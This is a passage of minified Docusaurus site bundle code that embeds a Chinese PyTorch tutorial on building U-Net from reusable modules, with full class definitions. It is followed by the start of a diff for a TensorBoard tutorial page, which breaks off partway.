\u5229\u7528\u6a21\u578b\u5757\u5feb\u901f\u642d\u5efa\u590d\u6742\u7f51\u7edc","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/05.\u7b2c\u4e94\u7ae0/5.2 \u5229\u7528\u6a21\u578b\u5757\u5feb\u901f\u642d\u5efa\u590d\u6742\u7f51\u7edc.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"5.1 PyTorch\u6a21\u578b\u5b9a\u4e49\u7684\u65b9\u5f0f.md","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e94\u7ae0/5.1 PyTorch\u6a21\u578b\u5b9a\u4e49\u7684\u65b9\u5f0f"},"next":{"title":"5.3 PyTorch\u4fee\u6539\u6a21\u578b.md","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e94\u7ae0/5.3 PyTorch\u4fee\u6539\u6a21\u578b"}}');var i=l(74848),t=l(28453);const c={},o="5.2 \u5229\u7528\u6a21\u578b\u5757\u5feb\u901f\u642d\u5efa\u590d\u6742\u7f51\u7edc.md",r={},d=[{value:"5.2.1 U-Net\u7b80\u4ecb",id:"521-u-net\u7b80\u4ecb",level:2},{value:"5.2.2 U-Net\u6a21\u578b\u5757\u5206\u6790",id:"522-u-net\u6a21\u578b\u5757\u5206\u6790",level:2},{value:"5.2.3 U-Net\u6a21\u578b\u5757\u5b9e\u73b0",id:"523-u-net\u6a21\u578b\u5757\u5b9e\u73b0",level:2},{value:"5.2.4 \u5229\u7528\u6a21\u578b\u5757\u7ec4\u88c5U-Net",id:"524-\u5229\u7528\u6a21\u578b\u5757\u7ec4\u88c5u-net",level:2},{value:"\u53c2\u8003\u8d44\u6599",id:"\u53c2\u8003\u8d44\u6599",level:2}];function a(n){const e={a:"a",code:"code",h1:"h1",h2:"h2",header:"header",img:"img",li:"li",ol:"ol",p:"p",pre:"pre",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,t.R)(),...n.components};return(0,i.jsxs)(i.Fragment,{children:[(0,i.jsx)(e.header,{children:(0,i.jsx)(e.h1,{id:"52-\u5229\u7528\u6a21\u578b\u5757\u5feb\u901f\u642d\u5efa\u590d\u6742\u7f51\u7edcmd",children:"5.2 \u5229\u7528\u6a21\u578b\u5757\u5feb\u901f\u642d\u5efa\u590d\u6742\u7f51\u7edc.md"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,i.jsxs)(e.table,{children:[(0,i.jsx)(e.thead,{children:(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,i.jsx)(e.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,i.jsx)(e.tbody,{children:(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{style:{textAlign:"left"},children:(0,i.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,i.jsx)(e.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:18"})]})})]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,i.jsxs)(e.table,{children:[(0,i.jsx)(e.thead,{children:(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,i.jsx)(e.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,i.jsx)(e.tbody,{children:(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{style:{textAlign:"left"},children:(0,i.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,i.jsx)(e.td,{style:{textAlign:"left"},children:"2025-10-31 15:44:29"})]})})]}),"\n",(0,i.jsx)(e.h1,{id:"52-\u5229\u7528\u6a21\u578b\u5757\u5feb\u901f\u642d\u5efa\u590d\u6742\u7f51\u7edc",children:"5.2 \u5229\u7528\u6a21\u578b\u5757\u5feb\u901f\u642d\u5efa\u590d\u6742\u7f51\u7edc"}),"\n",(0,i.jsxs)(e.p,{children:["\u4e0a\u4e00\u8282\u4e2d\u6211\u4eec\u4ecb\u7ecd\u4e86\u600e\u6837\u5b9a\u4e49PyTorch\u7684\u6a21\u578b\uff0c\u5176\u4e2d\u7ed9\u51fa\u7684\u793a\u4f8b\u90fd\u662f\u7528",(0,i.jsx)(e.code,{children:"torch.nn"}),"\u4e2d\u7684\u5c42\u6765\u5b8c\u6210\u7684\u3002\u8fd9\u79cd\u5b9a\u4e49\u65b9\u5f0f\u6613\u4e8e\u7406\u89e3\uff0c\u5728\u5b9e\u9645\u573a\u666f\u4e0b\u4e0d\u4e00\u5b9a\u5229\u4e8e\u4f7f\u7528\u3002\u5f53\u6a21\u578b\u7684\u6df1\u5ea6\u975e\u5e38\u5927\u65f6\u5019\uff0c\u4f7f\u7528",(0,i.jsx)(e.code,{children:"Sequential"}),"\u5b9a\u4e49\u6a21\u578b\u7ed3\u6784\u9700\u8981\u5411\u5176\u4e2d\u6dfb\u52a0\u51e0\u767e\u884c\u4ee3\u7801\uff0c\u4f7f\u7528\u8d77\u6765\u4e0d\u751a\u65b9\u4fbf\u3002"]}),"\n",(0,i.jsx)(e.p,{children:"\u5bf9\u4e8e\u5927\u90e8\u5206\u6a21\u578b\u7ed3\u6784\uff08\u6bd4\u5982ResNet\u3001DenseNet\u7b49\uff09\uff0c\u6211\u4eec\u4ed4\u7ec6\u89c2\u5bdf\u5c31\u4f1a\u53d1\u73b0\uff0c\u867d\u7136\u6a21\u578b\u6709\u5f88\u591a\u5c42\uff0c \u4f46\u662f\u5176\u4e2d\u6709\u5f88\u591a\u91cd\u590d\u51fa\u73b0\u7684\u7ed3\u6784\u3002\u8003\u8651\u5230\u6bcf\u4e00\u5c42\u6709\u5176\u8f93\u5165\u548c\u8f93\u51fa\uff0c\u82e5\u5e72\u5c42\u4e32\u8054\u6210\u7684\u201d\u6a21\u5757\u201c\u4e5f\u6709\u5176\u8f93\u5165\u548c\u8f93\u51fa\uff0c\u5982\u679c\u6211\u4eec\u80fd\u5c06\u8fd9\u4e9b\u91cd\u590d\u51fa\u73b0\u7684\u5c42\u5b9a\u4e49\u4e3a\u4e00\u4e2a\u201d\u6a21\u5757\u201c\uff0c\u6bcf\u6b21\u53ea\u9700\u8981\u5411\u7f51\u7edc\u4e2d\u6dfb\u52a0\u5bf9\u5e94\u7684\u6a21\u5757\u6765\u6784\u5efa\u6a21\u578b\uff0c\u8fd9\u6837\u5c06\u4f1a\u6781\u5927\u4fbf\u5229\u6a21\u578b\u6784\u5efa\u7684\u8fc7\u7a0b\u3002"}),"\n",(0,i.jsx)(e.p,{children:"\u672c\u8282\u6211\u4eec\u5c06\u4ee5U-Net\u4e3a\u4f8b\uff0c\u4ecb\u7ecd\u5982\u4f55\u6784\u5efa\u6a21\u578b\u5757\uff0c\u4ee5\u53ca\u5982\u4f55\u5229\u7528\u6a21\u578b\u5757\u5feb\u901f\u642d\u5efa\u590d\u6742\u6a21\u578b\u3002"}),"\n",(0,i.jsx)(e.p,{children:"\u7ecf\u8fc7\u672c\u8282\u7684\u5b66\u4e60\uff0c\u4f60\u5c06\u6536\u83b7\uff1a"}),"\n",(0,i.jsxs)(e.ul,{children:["\n",(0,i.jsx)(e.li,{children:"\u5229\u7528\u4e0a\u4e00\u8282\u5b66\u5230\u7684\u77e5\u8bc6\uff0c\u5c06\u7b80\u5355\u5c42\u6784\u5efa\u6210\u5177\u6709\u7279\u5b9a\u529f\u80fd\u7684\u6a21\u578b\u5757"}),"\n",(0,i.jsx)(e.li,{children:"\u5229\u7528\u6a21\u578b\u5757\u6784\u5efa\u590d\u6742\u7f51\u7edc"}),"\n"]}),"\n",(0,i.jsx)(e.h2,{id:"521-u-net\u7b80\u4ecb",children:"5.2.1 U-Net\u7b80\u4ecb"}),"\n",(0,i.jsx)(e.p,{children:"U-Net\u662f\u5206\u5272 (Segmentation) \u6a21\u578b\u7684\u6770\u4f5c\uff0c\u5728\u4ee5\u533b\u5b66\u5f71\u50cf\u4e3a\u4ee3\u8868\u7684\u8bf8\u591a\u9886\u57df\u6709\u7740\u5e7f\u6cdb\u7684\u5e94\u7528\u3002U-Net\u6a21\u578b\u7ed3\u6784\u5982\u4e0b\u56fe\u6240\u793a\uff0c\u901a\u8fc7\u6b8b\u5dee\u8fde\u63a5\u7ed3\u6784\u89e3\u51b3\u4e86\u6a21\u578b\u5b66\u4e60\u4e2d\u7684\u9000\u5316\u95ee\u9898\uff0c\u4f7f\u5f97\u795e\u7ecf\u7f51\u7edc\u7684\u6df1\u5ea6\u80fd\u591f\u4e0d\u65ad\u6269\u5c55\u3002"}),"\n",(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{alt:"unet",src:l(54612).A+"",width:"1555",height:"1036"})}),"\n",(0,i.jsx)(e.h2,{id:"522-u-net\u6a21\u578b\u5757\u5206\u6790",children:"5.2.2 U-Net\u6a21\u578b\u5757\u5206\u6790"}),"\n",(0,i.jsx)(e.p,{children:"\u7ed3\u5408\u4e0a\u56fe\uff0c\u4e0d\u96be\u53d1\u73b0U-Net\u6a21\u578b\u5177\u6709\u975e\u5e38\u597d\u7684\u5bf9\u79f0\u6027\u3002\u6a21\u578b\u4ece\u4e0a\u5230\u4e0b\u5206\u4e3a\u82e5\u5e72\u5c42\uff0c\u6bcf\u5c42\u7531\u5de6\u4fa7\u548c\u53f3\u4fa7\u4e24\u4e2a\u6a21\u578b\u5757\u7ec4\u6210\uff0c\u6bcf\u4fa7\u7684\u6a21\u578b\u5757\u4e0e\u5176\u4e0a\u4e0b\u6a21\u578b\u5757\u4e4b\u95f4\u6709\u8fde\u63a5\uff1b\u540c\u65f6\u4f4d\u4e8e\u540c\u4e00\u5c42\u5de6\u53f3\u4e24\u4fa7\u7684\u6a21\u578b\u5757\u4e4b\u95f4\u4e5f\u6709\u8fde\u63a5\uff0c\u79f0\u4e3a\u201cSkip-connection\u201d\u3002\u6b64\u5916\u8fd8\u6709\u8f93\u5165\u548c\u8f93\u51fa\u5904\u7406\u7b49\u5176\u4ed6\u7ec4\u6210\u90e8\u5206\u3002\u7531\u4e8e\u6a21\u578b\u7684\u5f62\u72b6\u975e\u5e38\u50cf\u82f1\u6587\u5b57\u6bcd\u7684\u201cU\u201d\uff0c\u56e0\u6b64\u88ab\u547d\u540d\u4e3a\u201cU-Net\u201d\u3002"}),"\n",(0,i.jsx)(e.p,{children:"\u7ec4\u6210U-Net\u7684\u6a21\u578b\u5757\u4e3b\u8981\u6709\u5982\u4e0b\u51e0\u4e2a\u90e8\u5206\uff1a"}),"\n",(0,i.jsxs)(e.ul,{children:["\n",(0,i.jsxs)(e.li,{children:["\n",(0,i.jsx)(e.p,{children:"\u6bcf\u4e2a\u5b50\u5757\u5185\u90e8\u7684\u4e24\u6b21\u5377\u79ef\uff08Double Convolution\uff09"}),"\n"]}),"\n",(0,i.jsxs)(e.li,{children:["\n",(0,i.jsx)(e.p,{children:"\u5de6\u4fa7\u6a21\u578b\u5757\u4e4b\u95f4\u7684\u4e0b\u91c7\u6837\u8fde\u63a5\uff0c\u5373\u6700\u5927\u6c60\u5316\uff08Max pooling\uff09"}),"\n"]}),"\n",(0,i.jsxs)(e.li,{children:["\n",(0,i.jsx)(e.p,{children:"\u53f3\u4fa7\u6a21\u578b\u5757\u4e4b\u95f4\u7684\u4e0a\u91c7\u6837\u8fde\u63a5\uff08Up sampling\uff09"}),"\n"]}),"\n",(0,i.jsxs)(e.li,{children:["\n",(0,i.jsx)(e.p,{children:"\u8f93\u51fa\u5c42\u7684\u5904\u7406"}),"\n"]}),"\n"]}),"\n",(0,i.jsx)(e.p,{children:"\u9664\u6a21\u578b\u5757\u5916\uff0c\u8fd8\u6709\u6a21\u578b\u5757\u4e4b\u95f4\u7684\u6a2a\u5411\u8fde\u63a5\uff0c\u8f93\u5165\u548cU-Net\u5e95\u90e8\u7684\u8fde\u63a5\u7b49\u8ba1\u7b97\uff0c\u8fd9\u4e9b\u5355\u72ec\u7684\u64cd\u4f5c\u53ef\u4ee5\u901a\u8fc7forward\u51fd\u6570\u6765\u5b9e\u73b0\u3002"}),"\n",(0,i.jsx)(e.p,{children:"\u4e0b\u9762\u6211\u4eec\u7528PyTorch\u5148\u5b9e\u73b0\u4e0a\u8ff0\u7684\u6a21\u578b\u5757\uff0c\u7136\u540e\u518d\u5229\u7528\u5b9a\u4e49\u597d\u7684\u6a21\u578b\u5757\u6784\u5efaU-Net\u6a21\u578b\u3002"}),"\n",(0,i.jsx)(e.h2,{id:"523-u-net\u6a21\u578b\u5757\u5b9e\u73b0",children:"5.2.3 U-Net\u6a21\u578b\u5757\u5b9e\u73b0"}),"\n",(0,i.jsx)(e.p,{children:"\u5728\u4f7f\u7528PyTorch\u5b9e\u73b0U-Net\u6a21\u578b\u65f6\uff0c\u6211\u4eec\u4e0d\u5fc5\u628a\u6bcf\u4e00\u5c42\u6309\u5e8f\u6392\u5217\u663e\u5f0f\u5199\u51fa\uff0c\u8fd9\u6837\u592a\u9ebb\u70e6\u4e14\u4e0d\u5b9c\u8bfb\uff0c\u4e00\u79cd\u6bd4\u8f83\u597d\u7684\u65b9\u6cd5\u662f\u5148\u5b9a\u4e49\u597d\u6a21\u578b\u5757\uff0c\u518d\u5b9a\u4e49\u6a21\u578b\u5757\u4e4b\u95f4\u7684\u8fde\u63a5\u987a\u5e8f\u548c\u8ba1\u7b97\u65b9\u5f0f\u3002\u5c31\u597d\u6bd4\u88c5\u914d\u96f6\u4ef6\u4e00\u6837\uff0c\u6211\u4eec\u5148\u88c5\u914d\u597d\u4e00\u4e9b\u57fa\u7840\u7684\u90e8\u4ef6\uff0c\u4e4b\u540e\u518d\u7528\u8fd9\u4e9b\u53ef\u4ee5\u590d\u7528\u7684\u90e8\u4ef6\u5f97\u5230\u6574\u4e2a\u88c5\u914d\u4f53\u3002"}),"\n",(0,i.jsxs)(e.p,{children:["\u8fd9\u91cc\u7684\u57fa\u7840\u90e8\u4ef6\u5bf9\u5e94\u4e0a\u4e00\u8282\u5206\u6790\u7684\u56db\u4e2a\u6a21\u578b\u5757\uff0c\u6839\u636e\u529f\u80fd\u6211\u4eec\u5c06\u5176\u547d\u540d\u4e3a\uff1a",(0,i.jsx)(e.code,{children:"DoubleConv"}),", ",(0,i.jsx)(e.code,{children:"Down"}),", ",(0,i.jsx)(e.code,{children:"Up"}),", ",(0,i.jsx)(e.code,{children:"OutConv"}),"\u3002\u4e0b\u9762\u7ed9\u51faU-Net\u4e2d\u6a21\u578b\u5757\u7684PyTorch \u5b9e\u73b0\uff1a"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-python",children:"import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\n"})}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-python",children:'class DoubleConv(nn.Module):\n """(convolution => [BN] => ReLU) * 2"""\n\n def __init__(self, in_channels, out_channels, mid_channels=None):\n super().__init__()\n if not mid_channels:\n mid_channels = out_channels\n self.double_conv = nn.Sequential(\n nn.Conv2d(in_channels, mid_channels, kernel_size=3, padding=1, bias=False),\n nn.BatchNorm2d(mid_channels),\n nn.ReLU(inplace=True),\n nn.Conv2d(mid_channels, out_channels, kernel_size=3, padding=1, bias=False),\n nn.BatchNorm2d(out_channels),\n nn.ReLU(inplace=True)\n )\n\n def forward(self, x):\n return self.double_conv(x)\n\n'})}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-python",children:'class Down(nn.Module):\n """Downscaling with maxpool then double conv"""\n\n def __init__(self, in_channels, out_channels):\n super().__init__()\n self.maxpool_conv = nn.Sequential(\n nn.MaxPool2d(2),\n DoubleConv(in_channels, out_channels)\n )\n\n def forward(self, x):\n return self.maxpool_conv(x)\n\n'})}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-python",children:'class Up(nn.Module):\n """Upscaling then double conv"""\n\n def __init__(self, in_channels, out_channels, bilinear=False):\n super().__init__()\n\n # if bilinear, use the normal convolutions to reduce the number of channels\n if bilinear:\n self.up = nn.Upsample(scale_factor=2, mode=\'bilinear\', align_corners=True)\n self.conv = DoubleConv(in_channels, out_channels, in_channels // 2)\n else:\n self.up = nn.ConvTranspose2d(in_channels, in_channels // 2, kernel_size=2, stride=2)\n self.conv = DoubleConv(in_channels, out_channels)\n\n def forward(self, x1, x2):\n x1 = self.up(x1)\n # input is CHW\n diffY = x2.size()[2] - x1.size()[2]\n diffX = x2.size()[3] - x1.size()[3]\n\n x1 = F.pad(x1, [diffX // 2, diffX - diffX // 2,\n diffY // 2, diffY - diffY // 2])\n # if you have padding issues, see\n # https://github.com/HaiyongJiang/U-Net-Pytorch-Unstructured-Buggy/commit/0e854509c2cea854e247a9c615f175f76fbb2e3a\n # https://github.com/xiaopeng-liao/Pytorch-UNet/commit/8ebac70e633bac59fc22bb5195e513d5832fb3bd\n x = torch.cat([x2, x1], dim=1)\n return self.conv(x)\n\n'})}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-python",children:"class OutConv(nn.Module):\n def __init__(self, in_channels, out_channels):\n super(OutConv, self).__init__()\n self.conv = nn.Conv2d(in_channels, out_channels, kernel_size=1)\n\n def forward(self, x):\n return self.conv(x)\n"})}),"\n",(0,i.jsx)(e.h2,{id:"524-\u5229\u7528\u6a21\u578b\u5757\u7ec4\u88c5u-net",children:"5.2.4 \u5229\u7528\u6a21\u578b\u5757\u7ec4\u88c5U-Net"}),"\n",(0,i.jsx)(e.p,{children:"\u4f7f\u7528\u4e0a\u9762\u6211\u4eec\u5b9a\u4e49\u597d\u7684\u6a21\u578b\u5757\uff0c\u6211\u4eec\u5c31\u53ef\u4ee5\u975e\u5e38\u65b9\u4fbf\u5730\u7ec4\u88c5U-Net\u6a21\u578b\u3002\u53ef\u4ee5\u770b\u5230\uff0c\u901a\u8fc7\u6a21\u578b\u5757\u7684\u65b9\u5f0f\u5b9e\u73b0\u4e86\u4ee3\u7801\u590d\u7528\uff0c\u6574\u4e2a\u6a21\u578b\u7ed3\u6784\u5b9a\u4e49\u6240\u9700\u7684\u4ee3\u7801\u603b\u884c\u6570\u660e\u663e\u51cf\u5c11\uff0c\u4ee3\u7801\u53ef\u8bfb\u6027\u4e5f\u5f97\u5230\u4e86\u63d0\u5347\u3002"}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-python",children:"class UNet(nn.Module):\n def __init__(self, n_channels, n_classes, bilinear=False):\n super(UNet, self).__init__()\n self.n_channels = n_channels\n self.n_classes = n_classes\n self.bilinear = bilinear\n\n self.inc = DoubleConv(n_channels, 64)\n self.down1 = Down(64, 128)\n self.down2 = Down(128, 256)\n self.down3 = Down(256, 512)\n factor = 2 if bilinear else 1\n self.down4 = Down(512, 1024 // factor)\n self.up1 = Up(1024, 512 // factor, bilinear)\n self.up2 = Up(512, 256 // factor, bilinear)\n self.up3 = Up(256, 128 // factor, bilinear)\n self.up4 = Up(128, 64, bilinear)\n self.outc = OutConv(64, n_classes)\n\n def forward(self, x):\n x1 = self.inc(x)\n x2 = self.down1(x1)\n x3 = self.down2(x2)\n x4 = self.down3(x3)\n x5 = self.down4(x4)\n x = self.up1(x5, x4)\n x = self.up2(x, x3)\n x = self.up3(x, x2)\n x = self.up4(x, x1)\n logits = self.outc(x)\n return logits\n"})}),"\n",(0,i.jsx)(e.h2,{id:"\u53c2\u8003\u8d44\u6599",children:"\u53c2\u8003\u8d44\u6599"}),"\n",(0,i.jsxs)(e.ol,{children:["\n",(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:"https://github.com/milesial/Pytorch-UNet",children:"https://github.com/milesial/Pytorch-UNet"})}),"\n"]})]})}function h(n={}){const{wrapper:e}={...(0,t.R)(),...n.components};return e?(0,i.jsx)(e,{...n,children:(0,i.jsx)(a,{...n})}):a(n)}},28453:(n,e,l)=>{l.d(e,{R:()=>c,x:()=>o});var s=l(96540);const i={},t=s.createContext(i);function c(n){const e=s.useContext(t);return s.useMemo(function(){return"function"==typeof n?n(e):{...e,...n}},[e,n])}function o(n){let e;return e=n.disableParentContext?"function"==typeof n.components?n.components(i):n.components||i:c(n.components),s.createElement(t.Provider,{value:e},n.children)}},54612:(n,e,l)=>{l.d(e,{A:()=>s});const s=l.p+"assets/images/5.2.1unet-f0e9aa890b967da85a7bd9a1fd73c55a.png"}}]); \ No newline at end of file diff --git a/assets/js/a22a86e9.463e83b0.js b/assets/js/a22a86e9.463e83b0.js new file mode 100644 index 0000000..f4d6237 --- /dev/null +++ b/assets/js/a22a86e9.463e83b0.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[7337],{7640:(e,n,r)=>{r.r(n),r.d(n,{assets:()=>a,contentTitle:()=>d,default:()=>h,frontMatter:()=>i,metadata:()=>s,toc:()=>l});const s=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e03\u7ae0/7.3 \u4f7f\u7528TensorBoard\u53ef\u89c6\u5316\u8bad\u7ec3\u8fc7\u7a0b","title":"7.3 \u4f7f\u7528TensorBoard\u53ef\u89c6\u5316\u8bad\u7ec3\u8fc7\u7a0b.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/07.\u7b2c\u4e03\u7ae0/7.3 \u4f7f\u7528TensorBoard\u53ef\u89c6\u5316\u8bad\u7ec3\u8fc7\u7a0b.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/07.\u7b2c\u4e03\u7ae0","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e03\u7ae0/7.3 \u4f7f\u7528TensorBoard\u53ef\u89c6\u5316\u8bad\u7ec3\u8fc7\u7a0b","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e03\u7ae0/7.3 \u4f7f\u7528TensorBoard\u53ef\u89c6\u5316\u8bad\u7ec3\u8fc7\u7a0b","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/07.\u7b2c\u4e03\u7ae0/7.3 \u4f7f\u7528TensorBoard\u53ef\u89c6\u5316\u8bad\u7ec3\u8fc7\u7a0b.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"7.2 CNN\u5377\u79ef\u5c42\u53ef\u89c6\u5316.md","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e03\u7ae0/7.2 CNN\u5377\u79ef\u5c42\u53ef\u89c6\u5316"},"next":{"title":"7.4 \u4f7f\u7528wandb\u53ef\u89c6\u5316\u8bad\u7ec3\u8fc7\u7a0b.md","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e03\u7ae0/7.4 \u4f7f\u7528wandb\u53ef\u89c6\u5316\u8bad\u7ec3\u8fc7\u7a0b"}}');var t=r(74848),o=r(28453);const i={},d="7.3 \u4f7f\u7528TensorBoard\u53ef\u89c6\u5316\u8bad\u7ec3\u8fc7\u7a0b.md",a={},l=[{value:"7.3.1 TensorBoard\u5b89\u88c5",id:"731-tensorboard\u5b89\u88c5",level:2},{value:"7.3.2 TensorBoard\u53ef\u89c6\u5316\u7684\u57fa\u672c\u903b\u8f91",id:"732-tensorboard\u53ef\u89c6\u5316\u7684\u57fa\u672c\u903b\u8f91",level:2},{value:"7.3.3 TensorBoard\u7684\u914d\u7f6e\u4e0e\u542f\u52a8",id:"733-tensorboard\u7684\u914d\u7f6e\u4e0e\u542f\u52a8",level:2},{value:"7.3.4 TensorBoard\u6a21\u578b\u7ed3\u6784\u53ef\u89c6\u5316",id:"734-tensorboard\u6a21\u578b\u7ed3\u6784\u53ef\u89c6\u5316",level:2},{value:"7.3.5 TensorBoard\u56fe\u50cf\u53ef\u89c6\u5316",id:"735-tensorboard\u56fe\u50cf\u53ef\u89c6\u5316",level:2},{value:"7.3.6 TensorBoard\u8fde\u7eed\u53d8\u91cf\u53ef\u89c6\u5316",id:"736-tensorboard\u8fde\u7eed\u53d8\u91cf\u53ef\u89c6\u5316",level:2},{value:"7.3.7 TensorBoard\u53c2\u6570\u5206\u5e03\u53ef\u89c6\u5316",id:"737-tensorboard\u53c2\u6570\u5206\u5e03\u53ef\u89c6\u5316",level:2},{value:"7.3.8 \u670d\u52a1\u5668\u7aef\u4f7f\u7528TensorBoard",id:"738-\u670d\u52a1\u5668\u7aef\u4f7f\u7528tensorboard",level:2},{value:"7.3.9 \u603b\u7ed3",id:"739-\u603b\u7ed3",level:2},{value:"\u53c2\u8003\u8d44\u6599",id:"\u53c2\u8003\u8d44\u6599",level:2}];function c(e){const n={a:"a",code:"code",h1:"h1",h2:"h2",header:"header",img:"img",li:"li",ol:"ol",p:"p",pre:"pre",strong:"strong",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,o.R)(),...e.components};return(0,t.jsxs)(t.Fragment,{children:[(0,t.jsx)(n.header,{children:(0,t.jsx)(n.h1,{id:"73-\u4f7f\u7528tensorboard\u53ef\u89c6\u5316\u8bad\u7ec3\u8fc7\u7a0bmd",children:"7.3 \u4f7f\u7528TensorBoard\u53ef\u89c6\u5316\u8bad\u7ec3\u8fc7\u7a0b.md"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,t.jsxs)(n.table,{children:[(0,t.jsx)(n.thead,{children:(0,t.jsxs)(n.tr,{children:[(0,t.jsx)(n.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,t.jsx)(n.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,t.jsx)(n.tbody,{children:(0,t.jsxs)(n.tr,{children:[(0,t.jsx)(n.td,{style:{textAlign:"left"},children:(0,t.jsx)(n.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,t.jsx)(n.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:26"})]})})]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,t.jsxs)(n.table,{children:[(0,t.jsx)(n.thead,{children:(0,t.jsxs)(n.tr,{children:[(0,t.jsx)(n.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,t.jsx)(n.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,t.jsx)(n.tbody,{children:(0,t.jsxs)(n.tr,{children:[(0,t.jsx)(n.td,{style:{textAlign:"left"},children:(0,t.jsx)(n.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,t.jsx)(n.td,{style:{textAlign:"left"},children:"2025-10-31 15:44:29"})]})})]}),"\n",(0,t.jsx)(n.h1,{id:"73-\u4f7f\u7528tensorboard\u53ef\u89c6\u5316\u8bad\u7ec3\u8fc7\u7a0b",children:"7.3 \u4f7f\u7528TensorBoard\u53ef\u89c6\u5316\u8bad\u7ec3\u8fc7\u7a0b"}),"\n",(0,t.jsx)(n.p,{children:"\u8bad\u7ec3\u8fc7\u7a0b\u7684\u53ef\u89c6\u5316\u5728\u6df1\u5ea6\u5b66\u4e60\u6a21\u578b\u8bad\u7ec3\u4e2d\u626e\u6f14\u7740\u91cd\u8981\u7684\u89d2\u8272\u3002\u5b66\u4e60\u7684\u8fc7\u7a0b\u662f\u4e00\u4e2a\u4f18\u5316\u7684\u8fc7\u7a0b\uff0c\u6211\u4eec\u9700\u8981\u627e\u5230\u6700\u4f18\u7684\u70b9\u4f5c\u4e3a\u8bad\u7ec3\u8fc7\u7a0b\u7684\u8f93\u51fa\u4ea7\u7269\u3002\u4e00\u822c\u6765\u8bf4\uff0c\u6211\u4eec\u4f1a\u7ed3\u5408\u8bad\u7ec3\u96c6\u7684\u635f\u5931\u51fd\u6570\u548c\u9a8c\u8bc1\u96c6\u7684\u635f\u5931\u51fd\u6570\uff0c\u7ed8\u5236\u4e24\u6761\u635f\u5931\u51fd\u6570\u7684\u66f2\u7ebf\u6765\u786e\u5b9a\u8bad\u7ec3\u7684\u7ec8\u70b9\uff0c\u627e\u5230\u5bf9\u5e94\u7684\u6a21\u578b\u7528\u4e8e\u6d4b\u8bd5\u3002\u90a3\u4e48\u9664\u4e86\u8bb0\u5f55\u8bad\u7ec3\u4e2d\u6bcf\u4e2aepoch\u7684loss\u503c\uff0c\u80fd\u5426\u5b9e\u65f6\u89c2\u5bdf\u635f\u5931\u51fd\u6570\u66f2\u7ebf\u7684\u53d8\u5316\uff0c\u53ca\u65f6\u6355\u6349\u6a21\u578b\u7684\u53d8\u53